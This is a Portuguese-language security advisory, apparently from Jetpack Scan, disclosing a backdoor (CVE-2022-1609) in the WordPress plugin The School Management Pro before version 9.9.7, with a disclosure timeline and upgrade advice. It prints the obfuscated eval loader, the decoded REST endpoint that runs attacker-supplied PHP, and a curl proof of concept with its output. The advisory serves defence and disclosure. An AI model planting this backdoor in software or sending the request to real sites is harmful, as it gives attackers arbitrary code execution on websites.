Backdoor encontrado no plugin The School Management Pro para WordPress

Publicados: 2022-05-20

As versões anteriores a 9.9.7 do plugin WordPress “The School Management Pro” da Weblizar contêm um backdoor que permite que um invasor não autenticado execute código PHP arbitrário em sites com o plugin instalado. Se você tiver uma versão anterior instalada em seu site, recomendamos atualizar para a versão 9.9.7 ou posterior imediatamente. Este é um problema crítico de segurança.

Leia para os detalhes completos.

Detalhes:

  • Nome do plug-in: The School Management Pro
  • Slug de plug-in: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , etc
  • Fornecedor: Weblizar
  • Versões afetadas: < 9.9.7
  • CVE: CVE-2022-1609
  • Pontuação CVSS: 10,0 (Crítico)
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Uma parte do trabalho aqui no Jetpack Scan é apoiar nossos negócios hospedados no WordPress, verificando arquivos suspeitos encontrados em sites que hospedamos. Normalmente, isso se deve a um arquivo sinalizado por uma de nossas assinaturas, ou porque o proprietário do site encontrou algo suspeito e quer nossa opinião. Como é a natureza das coisas, às vezes esses arquivos são benignos, alguns são falsos positivos e alguns são novas cepas ou variações de malware que precisam de mais trabalho para classificar adequadamente.

Às vezes, no entanto, o que temos é mais interessante todos juntos.

Um par de semanas atrás, um desses incidentes ocorreu. A equipe de suporte escalonado do WordPress.com entrou em contato conosco sobre alguns códigos ofuscados e obviamente maliciosos encontrados em um plug-in em vários sites.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Após duas rodadas de desofuscação trivial, isso dá:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

O código em si não é tão interessante: é um backdoor óbvio injetado no código de verificação de licença do plugin. Ele permite que qualquer invasor execute código PHP arbitrário no site com o plugin instalado, como pode ser visto na prova de conceito abaixo:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Este é o tipo de coisa que vemos frequentemente em plugins nulos; isso acontece com tanta frequência que temos um caso semelhante já abordado em um post anterior. Nossa primeira suposição foi que este também era o caso aqui; os proprietários do site instalaram um plugin de uma fonte duvidosa.

No entanto, nos asseguramos que os plugins instalados foram recebidos diretamente do fornecedor. Isso também foi rapidamente confirmado pelo fornecedor que removeu o código incorreto após ser informado de sua presença.

Tentamos obter mais informações do fornecedor sobre quando o backdoor foi injetado, quais versões são afetadas e como o código acabou no plug-in em primeiro lugar. Esse esforço não foi bem-sucedido, pois o fornecedor diz que não sabe quando ou como o código entrou em seu software.

Vimos versões pelo menos a partir de 8.9 que continham o backdoor em nossos sistemas hospedados, mas como não temos informações claras sobre quando o backdoor apareceu pela primeira vez, temos que assumir qualquer versão antes de 9.9.7 ser afetada.

Detectar e alertar sobre o problema é ainda mais complicado porque o plug-in opera em vários slugs diferentes, geralmente usando slugs contendo o número da versão. Em nossos sistemas hospedados, vimos pelo menos estas variantes:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

A versão gratuita do repositório de plugins do WordPress.org não contém o código de licenciamento e também não é afetada por esse backdoor.

Linha do tempo

04/05/2022: A equipe de suporte escalada do WordPress.com descobre o código injetado e entra em contato com o Jetpack Scan para analisar e verificar a descoberta. Depois de confirmar que é um backdoor, eles notificam o fornecedor.

05-05-2022: O fornecedor confirma que o código injetado realmente está em sua distribuição e nos fornece uma versão 9.9.7 em que o backdoor é removido. Confirmamos que está limpo.

06/05/2022: O fornecedor distribui ativamente a versão 9.9.7 para seus clientes e os incentiva a atualizar.

10/05/2022: O fornecedor respondeu às nossas perguntas adicionais sobre se sabia quando o backdoor foi adicionado, mas alega que não sabe. Eles forneceram uma versão anterior, 9.9.4, que incluía o backdoor.

Conclusão

Recomendamos que qualquer site com qualquer versão anterior à 9.9.7 do The School Management Pro instalado atualize imediatamente.

Na Jetpack, trabalhamos duro para garantir que seus sites estejam protegidos contra esses tipos de vulnerabilidades. Recomendamos que você tenha um plano de segurança para seu site que inclua verificação e backups de arquivos maliciosos. O Jetpack Security é uma ótima opção de segurança do WordPress para garantir que seu site e visitantes estejam seguros.

Créditos

Esta pesquisa foi uma cooperação entre a equipe de suporte escalado do WordPress.com com Nic Sevic, Thom Stackhouse e Joshua Goode, e Jetpack Scan com Harald Eilertsen e Fioravante Cavallari. Também agradeço a Benedict Singer pelo feedback e correções.